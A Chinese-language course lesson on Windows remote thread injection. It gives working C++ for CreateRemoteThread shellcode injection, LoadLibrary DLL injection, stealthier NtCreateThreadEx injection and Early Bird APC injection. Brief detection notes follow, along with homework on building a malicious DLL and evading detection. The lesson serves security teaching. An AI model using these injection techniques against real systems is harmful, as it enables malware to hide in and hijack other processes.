Inject专题
1、远程线程注入
1、课程目标
- 理解远程线程注入的基本原理
- 掌握CreateRemoteThread API的使用方法
- 实现完整的远程线程注入技术
- 了解该技术的检测与防护方法
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| Remote Thread Injection | 远程线程注入 | 在目标进程中创建线程来执行代码的技术 |
| CreateRemoteThread | - | Windows API,用于在远程进程中创建线程 |
| VirtualAllocEx | - | 在远程进程地址空间中分配内存 |
| WriteProcessMemory | - | 向远程进程内存中写入数据 |
| Thread Context | 线程上下文 | 线程的寄存器状态和执行环境 |
3、技术原理
1. 远程线程注入概述
远程线程注入是一种在目标进程中执行任意代码的技术。通过在目标进程中创建新的线程,攻击者可以在该进程中执行自己的代码。
注入流程:
┌──────────────────────────────────────────────────────┐
│ 注入者进程 │
│ 1. OpenProcess() 获取目标进程句柄 │
├──────────────────────────────────────────────────────┤
│ 2. VirtualAllocEx() 在目标进程分配内存 │
├──────────────────────────────────────────────────────┤
│ 3. WriteProcessMemory() 写入ShellCode │
├──────────────────────────────────────────────────────┤
│ 4. CreateRemoteThread() 创建远程线程执行ShellCode │
└──────────────────────────────────────────────────────┘
目标进程:
┌──────────────────────────────────────────────────────┐
│ 5. 新线程开始执行注入的代码 │
│ (通常是ShellCode或DLL加载) │
└──────────────────────────────────────────────────────┘
2. 核心API详解
2.1 OpenProcess
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 访问权限
BOOL bInheritHandle, // 是否继承句柄
DWORD dwProcessId // 目标进程ID
);
常用权限组合:
- PROCESS_CREATE_THREAD: 创建线程
- PROCESS_VM_OPERATION: 虚拟内存操作
- PROCESS_VM_WRITE: 写入内存
- PROCESS_VM_READ: 读取内存
- PROCESS_QUERY_INFORMATION: 查询进程信息
2.2 VirtualAllocEx
LPVOID VirtualAllocEx(
HANDLE hProcess, // 进程句柄
LPVOID lpAddress, // 分配地址(通常为NULL)
SIZE_T dwSize, // 分配大小
DWORD flAllocationType,// 分配类型
DWORD flProtect // 内存保护
);
常用参数:
- flAllocationType: MEM_COMMIT | MEM_RESERVE
- flProtect: PAGE_EXECUTE_READWRITE
2.3 WriteProcessMemory
BOOL WriteProcessMemory(
HANDLE hProcess, // 进程句柄
LPVOID lpBaseAddress, // 写入地址
LPCVOID lpBuffer, // 数据缓冲区
SIZE_T nSize, // 写入大小
SIZE_T *lpNumberOfBytesWritten // 实际写入字节数
);
2.4 CreateRemoteThread
HANDLE CreateRemoteThread(
HANDLE hProcess, // 进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,// 安全属性
SIZE_T dwStackSize, // 栈大小
LPTHREAD_START_ROUTINE lpStartAddress, // 线程入口
LPVOID lpParameter, // 参数
DWORD dwCreationFlags, // 创建标志
LPDWORD lpThreadId // 线程ID
);
3、代码实现
1. 基础远程线程注入
// remote_thread_injection.cpp
// 基础远程线程注入实现
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
// 简单的测试ShellCode (弹出消息框后退出)
unsigned char shellcode[] = {
// 这里应该是一个完整的ShellCode
// 为简化演示,我们使用一个简单的ret指令
0xC3 // ret
};
//=============================================================================
// 方法1: 基础远程线程注入
//=============================================================================
BOOL BasicRemoteThreadInjection(DWORD targetPid, const void* code, SIZE_T codeSize) {
printf("[*] Method 1: Basic Remote Thread Injection\n");
printf("[*] Target PID: %lu\n", targetPid);
// 1. 打开目标进程
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |
PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,
FALSE,
targetPid
);
if (!hProcess) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Process opened successfully\n");
// 2. 在目标进程分配内存
LPVOID remoteMem = VirtualAllocEx(
hProcess,
NULL,
codeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!remoteMem) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Allocated remote memory at: %p\n", remoteMem);
// 3. 写入ShellCode到目标进程
SIZE_T bytesWritten;
if (!WriteProcessMemory(
hProcess,
remoteMem,
code,
codeSize,
&bytesWritten)) {
printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Written %zu bytes to remote process\n", bytesWritten);
// 4. 创建远程线程执行ShellCode
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)remoteMem,
NULL,
0,
NULL
);
if (!hThread) {
printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Remote thread created successfully\n");
// 5. 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
// 6. 清理资源
CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
printf("[+] Remote thread injection completed\n");
return TRUE;
}
//=============================================================================
// 方法2: 使用LoadLibrary注入DLL
//=============================================================================
BOOL DllInjectionViaRemoteThread(DWORD targetPid, const wchar_t* dllPath) {
printf("[*] Method 2: DLL Injection via Remote Thread\n");
printf("[*] Target PID: %lu\n", targetPid);
printf("[*] DLL Path: %ws\n", dllPath);
// 1. 打开目标进程
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |
PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,
FALSE,
targetPid
);
if (!hProcess) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return FALSE;
}
// 2. 获取LoadLibraryW地址
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPTHREAD_START_ROUTINE pLoadLibrary =
(LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW");
if (!pLoadLibrary) {
printf("[-] GetProcAddress failed: %lu\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
printf("[+] LoadLibraryW address: %p\n", pLoadLibrary);
// 3. 在目标进程分配内存存储DLL路径
size_t dllPathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);
LPVOID remoteDllPath = VirtualAllocEx(
hProcess,
NULL,
dllPathSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (!remoteDllPath) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Allocated memory for DLL path at: %p\n", remoteDllPath);
// 4. 写入DLL路径到目标进程
if (!WriteProcessMemory(
hProcess,
remoteDllPath,
dllPath,
dllPathSize,
NULL)) {
printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
// 5. 创建远程线程调用LoadLibraryW
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
pLoadLibrary,
remoteDllPath,
0,
NULL
);
if (!hThread) {
printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Remote thread created to load DLL\n");
// 6. 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
// 7. 清理资源
CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);
printf("[+] DLL injection completed\n");
return TRUE;
}
//=============================================================================
// 工具函数: 通过进程名获取PID
//=============================================================================
DWORD GetProcessIdByName(const wchar_t* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe;
pe.dwSize = sizeof(pe);
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, processName) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}
//=============================================================================
// 主函数
//=============================================================================
int main() {
printf("========================================\n");
printf(" Remote Thread Injection Demo \n");
printf("========================================\n\n");
// 示例1: 注入到记事本进程
DWORD notepadPid = GetProcessIdByName(L"notepad.exe");
if (notepadPid) {
printf("[*] Found notepad.exe PID: %lu\n", notepadPid);
BasicRemoteThreadInjection(notepadPid, shellcode, sizeof(shellcode));
} else {
printf("[-] notepad.exe not found, skipping basic injection demo\n");
}
printf("\n");
// 示例2: DLL注入演示
// 需要有一个实际的DLL文件
// DllInjectionViaRemoteThread(notepadPid, L"C:\\temp\\test.dll");
return 0;
}
2. 高级远程线程注入技术
//=============================================================================
// 方法3: 使用NtCreateThreadEx (更隐蔽)
//=============================================================================
typedef NTSTATUS (NTAPI* PFN_NTCREATETHREADEX)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList
);
BOOL AdvancedRemoteThreadInjection(DWORD targetPid, const void* code, SIZE_T codeSize) {
printf("[*] Method 3: Advanced Remote Thread Injection (NtCreateThreadEx)\n");
// 1. 获取NtCreateThreadEx地址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PFN_NTCREATETHREADEX pNtCreateThreadEx =
(PFN_NTCREATETHREADEX)GetProcAddress(hNtdll, "NtCreateThreadEx");
if (!pNtCreateThreadEx) {
printf("[-] NtCreateThreadEx not found, falling back to CreateRemoteThread\n");
return BasicRemoteThreadInjection(targetPid, code, codeSize);
}
// 2. 打开目标进程
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |
PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,
FALSE,
targetPid
);
if (!hProcess) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return FALSE;
}
// 3. 分配和写入ShellCode (同基础方法)
LPVOID remoteMem = VirtualAllocEx(
hProcess, NULL, codeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteMem) {
CloseHandle(hProcess);
return FALSE;
}
WriteProcessMemory(hProcess, remoteMem, code, codeSize, NULL);
// 4. 使用NtCreateThreadEx创建线程
HANDLE hThread = NULL;
NTSTATUS status = pNtCreateThreadEx(
&hThread,
THREAD_ALL_ACCESS,
NULL,
hProcess,
remoteMem,
NULL,
0,
0,
0,
0,
NULL
);
if (!hThread || status != 0) {
printf("[-] NtCreateThreadEx failed: 0x%08X\n", status);
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Thread created via NtCreateThreadEx\n");
// 5. 清理
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return TRUE;
}
//=============================================================================
// 方法4: 早期鸟注入 (Early Bird Injection)
//=============================================================================
BOOL EarlyBirdInjection(const wchar_t* targetExe, const void* code, SIZE_T codeSize) {
printf("[*] Method 4: Early Bird Injection\n");
// 1. 以挂起状态创建目标进程
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessW(
targetExe,
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi)) {
printf("[-] CreateProcessW failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Created suspended process: %lu\n", pi.dwProcessId);
// 2. 在目标进程分配内存并写入ShellCode
LPVOID remoteMem = VirtualAllocEx(
pi.hProcess,
NULL,
codeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!remoteMem) {
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
WriteProcessMemory(pi.hProcess, remoteMem, code, codeSize, NULL);
// 3. 创建APC使ShellCode在进程初始化时执行
if (!QueueUserAPC((PAPCFUNC)remoteMem, pi.hThread, 0)) {
printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
printf("[+] APC queued to main thread\n");
// 4. 恢复线程执行
ResumeThread(pi.hThread);
printf("[+] Process resumed, APC should execute early\n");
// 5. 清理
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
3、检测与防护
1. 常见检测方法
| 检测方式 | 原理 | 绕过难度 |
|---|---|---|
| API监控 | 监控CreateRemoteThread等敏感API调用 | 中 |
| 行为分析 | 分析进程间异常内存访问模式 | 高 |
| 内存扫描 | 扫描进程内存中的可疑代码 | 中 |
| 线程监控 | 监控异常线程创建活动 | 中 |
2. 防护措施
// 进程防护示例
#include <windows.h>
#include <psapi.h>
// 检测是否有远程线程注入
BOOL DetectRemoteThreadInjection() {
// 枚举当前进程的所有线程
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return FALSE;
}
THREADENTRY32 te = { sizeof(THREADENTRY32) };
DWORD currentPid = GetCurrentProcessId();
if (Thread32First(hSnapshot, &te)) {
do {
// 检查是否为其他进程创建的线程
if (te.th32OwnerProcessID == currentPid &&
te.th32ThreadID != GetCurrentThreadId()) {
// 可能是注入的线程
printf("[WARNING] Suspicious thread detected: TID=%lu\n",
te.th32ThreadID);
CloseHandle(hSnapshot);
return TRUE;
}
} while (Thread32Next(hSnapshot, &te));
}
CloseHandle(hSnapshot);
return FALSE;
}
3、课后作业
3.1、作业1:实现进程名注入
扩展程序,支持通过进程名而不是PID进行注入。
3.2、作业2:添加DLL注入功能
结合远程线程技术,实现完整的DLL注入功能,包括:
- 创建恶意DLL
- 使用LoadLibrary注入
- 在DLL中实现有效载荷
3.3、作业3:实现隐蔽注入
使用NtCreateThreadEx或其他隐蔽技术实现更难被检测的注入。
4、参考资料
- Windows Internals, Part 1: System architecture, processes, threads, memory management, and more 2.《恶意代码分析实战》- Michael Sikorski & Andrew Honig
- MSDN文档: CreateRemoteThread, VirtualAllocEx, WriteProcessMemory